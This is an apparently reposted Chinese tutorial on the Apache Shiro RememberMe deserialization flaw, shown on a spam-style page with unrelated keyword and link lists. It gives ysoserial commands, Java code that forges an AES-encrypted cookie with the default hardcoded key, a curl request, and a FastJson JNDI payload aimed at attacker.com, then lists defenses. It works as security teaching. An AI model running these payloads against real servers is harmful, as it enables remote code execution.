当前位置: 首页 > wzjs >正文

苏州免费模板建站外贸公司网站制作价格

苏州免费模板建站,外贸公司网站制作价格,临海建设规划信息网网站,营口公司网站建设引言 在Web安全的世界里,反序列化漏洞一直是最危险的漏洞类型之一。今天,我们将深入探讨Apache Shiro框架中的两个著名反序列化漏洞.通过通俗易懂的解释和详细的实例,帮助你理解这类漏洞的本质和危害。 Shiro框架与"记住我"功能简…

引言

在Web安全的世界里,反序列化漏洞一直是最危险的漏洞类型之一。今天,我们将深入探讨Apache Shiro框架中的两个著名反序列化漏洞.通过通俗易懂的解释和详细的实例,帮助你理解这类漏洞的本质和危害。

Shiro框架与"记住我"功能简介

Apache Shiro是Java世界中广泛使用的安全框架,主要用于实现用户认证、授权和会话管理功能。如果你曾在Java Web应用中看到过登录页面上的"记住我"选项,很可能背后就是Shiro在默默工作。

这个"记住我"(RememberMe)功能的核心逻辑是:

  1. 用户勾选"记住我"并成功登录
  2. Shiro将用户身份信息存入cookie
  3. 用户下次访问时,即使关闭过浏览器,系统也能识别用户身份

听起来很方便,但正是这个功能存在严重安全隐患。

Java序列化与反序列化基础

在理解漏洞前,先简单了解一下Java中的序列化与反序列化:

  • 序列化:将Java对象转换为字节序列的过程,便于存储或传输
  • 反序列化:将字节序列恢复为Java对象的过程

基本的Java序列化代码如下:

// 序列化示例
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(userObject);  // 将对象序列化
byte[] serializedData = baos.toByteArray();// 反序列化示例
ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
ObjectInputStream ois = new ObjectInputStream(bais);
Object restoredObject = ois.readObject();  // 这里可能有安全风险!

其中,readObject()方法是安全风险的关键点,因为它会在反序列化过程中执行对象中定义的特定方法。

"记住我"功能的工作流程

Shiro处理"记住我"功能的流程是:

当用户登录时(存储过程):

用户身份信息 → 序列化 → AES加密 → Base64编码 → RememberMe Cookie

当用户再次访问时(读取过程):

RememberMe Cookie → Base64解码 → AES解密 → 反序列化 → 用户身份信息

这个过程中最关键的问题是:

  1. Shiro使用了硬编码的AES密钥
  2. 解密后的数据通过不安全的方式进行反序列化

漏洞详细分析

通过调试Shiro源码,我们可以看到漏洞的关键所在:

// 序列化用户身份信息的代码
protected byte[] serialize(PrincipalCollection principals) {ByteArrayOutputStream baos = new ByteArrayOutputStream();BufferedOutputStream bos = new BufferedOutputStream(baos);try {ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(principals);  // 将用户信息序列化oos.close();return baos.toByteArray();} catch (IOException e) {// 异常处理}
}// 加密序列化数据的代码
protected byte[] encrypt(byte[] serialized) {byte[] value = serialized;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());value = byteSource.getBytes();}return value;
}// 反序列化代码 - 漏洞触发点
protected PrincipalCollection deserialize(byte[] serializedIdentity) {ByteArrayInputStream bais = new ByteArrayInputStream(serializedIdentity);ObjectInputStream ois = new ObjectInputStream(bais);try {return (PrincipalCollection)ois.readObject();  // 漏洞触发点!} finally {ois.close();bais.close();}
}

漏洞的两个关键点:

  1. 硬编码的AES密钥private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")

  2. 不安全的反序列化ois.readObject()方法在没有任何验证的情况下执行

这就像是给银行保险柜装了一把所有人都知道密码的锁,而且保险柜还会自动执行里面放入的任何指令。

漏洞利用步骤

利用这个漏洞的过程可以分为四个步骤:

步骤1:构造恶意序列化对象

首先,我们需要一个能在反序列化时执行命令的对象。可以使用ysoserial工具生成:

java -jar ysoserial.jar URLDNS "http://dnslog.cn/xyz123" > urldns.txt

这里使用URLDNS链条是因为它只需要Java内置类,适合用来验证漏洞是否存在。它的工作原理是:

// URLDNS链条的核心原理
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://dnslog.cn/xyz123");// 通过反射修改URL的hashCode值,避免序列化时触发DNS请求
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef);  // 先设置一个固定值// 将URL放入HashMap
hashMap.put(url, "test");// 重新设置hashCode为-1,确保反序列化时触发
f.set(url, -1);// 序列化对象
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.txt"));
oos.writeObject(hashMap);

当这个对象被反序列化时,HashMap会调用URL的hashCode方法,触发DNS请求。

步骤2:加密序列化对象

由于Shiro期望接收的是加密后的序列化数据,我们需要使用相同的加密方式处理恶意对象:

// 加密步骤
SecureRandom random = new SecureRandom();
byte[] iv = new byte[16];
random.nextBytes(iv);  // 生成随机初始化向量Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="), "AES"), new IvParameterSpec(iv));// 读取恶意序列化对象
byte[] evilBytes = Files.readAllBytes(Paths.get("urldns.txt"));
byte[] encryptedData = cipher.doFinal(evilBytes);// 组合IV和加密数据
byte[] combined = new byte[iv.length + encryptedData.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(encryptedData, 0, combined, iv.length, encryptedData.length);// Base64编码
String rememberMeCookie = Base64.getEncoder().encodeToString(combined);

这段代码模拟了Shiro的加密流程:

  1. 生成随机IV
  2. 使用AES-CBC模式加密
  3. 将IV和加密数据拼接
  4. Base64编码

步骤3:发送恶意Cookie

将生成的cookie值放入HTTP请求中:

Cookie: rememberMe=AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0...

可以使用各种工具发送这个请求:

curl -v -H "Cookie: rememberMe=AAECAwQ..." http://vulnerable-server.com

步骤4:确认漏洞存在

如果使用URLDNS链,可以在DNS日志平台查看是否收到目标服务器的请求,从而确认漏洞存在。

进阶:命令执行利用链

URLDNS链只能验证漏洞存在,无法执行命令。要实现远程命令执行,需要使用更高级的利用链,如CommonsCollections系列。

老师特别提到了CommonsBeanUtils链和CommonsCollections链:

# 使用CommonsCollections3生成执行命令的payload
java -jar ysoserial.jar CommonsCollections3 "ping attacker.com" > cc3.bin# 使用CommonsBeanutils链
java -jar ysoserial.jar CommonsBeanutils1 "whoami" > cb1.bin

选择哪种利用链,取决于目标应用包含的依赖库:

  • 如果应用包含commons-collections库,可以使用CommonsCollections系列链
  • 如果应用包含commons-beanutils库,可以使用CommonsBeanutils链
  • 如果不确定,可以先用URLDNS链验证漏洞存在

Java反序列化链VS FastJson链

老师特别强调了一点:不能使用FastJson的链条攻击Shiro漏洞。这是因为它们是完全不同的反序列化机制:

Java原生反序列化 vs FastJson

  1. 数据格式不同

    • Java原生序列化使用二进制格式
    • FastJson使用JSON文本格式
  2. 触发机制不同

    • Java原生反序列化通过readObject()方法触发
    • FastJson通过解析JSON时调用setter/getter方法触发
  3. 实例对比

// Java原生序列化数据(二进制)
[二进制数据...]// FastJson数据(文本格式)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true
}

简单来说,这就像是两种完全不同的语言,即使它们都可能利用相同的类(如JdbcRowSetImpl),但触发方式完全不同,无法互相替代。

防御措施

了解了漏洞原理,我们可以采取以下措施防御:

  1. 更新Shiro版本:使用最新版本的Apache Shiro

  2. 自定义加密密钥

RememberMeManager rememberMeManager = new CookieRememberMeManager();
byte[] cipherKey = new SecureRandom().generateSeed(16); // 随机密钥
rememberMeManager.setCipherKey(cipherKey);
  1. 实施反序列化白名单:限制可被反序列化的类

  2. 如不需要,禁用RememberMe功能

总结

Shiro反序列化漏洞告诉我们一个重要的安全原则:永远不要使用硬编码密钥,尤其是在开源项目中。同时,对于任何反序列化操作,都应该进行严格的安全验证。

这个漏洞的利用过程也展示了现代Web安全的复杂性:从构造恶意对象,到模拟合法加密流程,再到成功触发漏洞执行命令,每一步都需要深入理解底层技术原理。

希望这篇文章能帮助你更好地理解反序列化漏洞的危害和防护方法,从而构建更安全的应用系统。


注:本文仅供安全研究与学习,请勿用于非法用途。在测试任何安全漏洞前,请确保获得合法授权。


文章转载自:

http://Ox3bzJiu.fhffs.cn
http://OzJSo2CJ.fhffs.cn
http://psWANMxr.fhffs.cn
http://eM5096VV.fhffs.cn
http://pFdgwuFB.fhffs.cn
http://iDxG5IDt.fhffs.cn
http://589YV4Lu.fhffs.cn
http://ERREcT8g.fhffs.cn
http://24XBYRyo.fhffs.cn
http://q4Zcpell.fhffs.cn
http://mtnEpT8x.fhffs.cn
http://8yEiLyZY.fhffs.cn
http://vdZl2qoX.fhffs.cn
http://R1m6WsTx.fhffs.cn
http://vvn0gjmS.fhffs.cn
http://e6mDl5FC.fhffs.cn
http://tuQgibhs.fhffs.cn
http://KqZVazoz.fhffs.cn
http://lt0DHjgC.fhffs.cn
http://lWcNVtc3.fhffs.cn
http://6XEW46xk.fhffs.cn
http://oRT5hJD1.fhffs.cn
http://ekUuVjfp.fhffs.cn
http://tjSdTfqx.fhffs.cn
http://EMBaD65F.fhffs.cn
http://EN7IPyb8.fhffs.cn
http://9b3j4cqx.fhffs.cn
http://Hv3xItVQ.fhffs.cn
http://94qoKfZl.fhffs.cn
http://0KBro1TP.fhffs.cn
http://www.dtcms.com/wzjs/624504.html

相关文章:

  • 网站空间多少钱建设网站制作流程
  • 建站工具大全图片素材网站模板
  • 导购网站怎么做有特色wordpress 采集函数
  • html电影网站模板下载网站接入网方式
  • 百度搜到自己网站wordpress 发音
  • 网站开发前端好还是后端好外贸网站平台推广
  • 免费申请做网站电子商务学了有用吗
  • 非小号是根据国外哪个网站做的网页游戏开发教程
  • 澄迈网站制作公司高管培训课程
  • 做微信的网站叫什么米网站标题如何修改
  • 宁德市住房和城乡建设局新网站企业网站建设方案 完整版
  • 深圳拼团网站建设邻水建设局网站
  • 自己网站wordpress主题怎么app商店
  • 外贸网站建设服务2017年网站建设视频教程
  • 建设小说网站小说源慧谷网站开发文档
  • 鹰潭网站设计大连零基础网站建设培训班
  • 给你一个网站你怎么做的吗麻栗坡网站建设
  • 广东省著名商标在什么网站做公司网站建设内容建议
  • 建网站规则创建免费网站
  • 邢台做企业网站网站开发中制作视频播放器
  • 求职招聘网站排名前十名培训机构的网站建设
  • 做网站的公司怎么赚钱网页素材网站免费
  • 天津网站专业制作网站平台建设需要多少钱
  • 国内免费的短视频素材网站如何登陆建设银行信用卡网站
  • 小生意是做网站还是公众号苏州cms建站
  • 网站自己做的记者证南宁青秀网站建设
  • 公司网站界面设计中国房地产未来走势
  • 比较好的logo设计网站辽阳专业建设网站
  • 六安市建设银行网站廊坊制作网站公司
  • 做网站的员工怎么设置绩效考核做网站的客户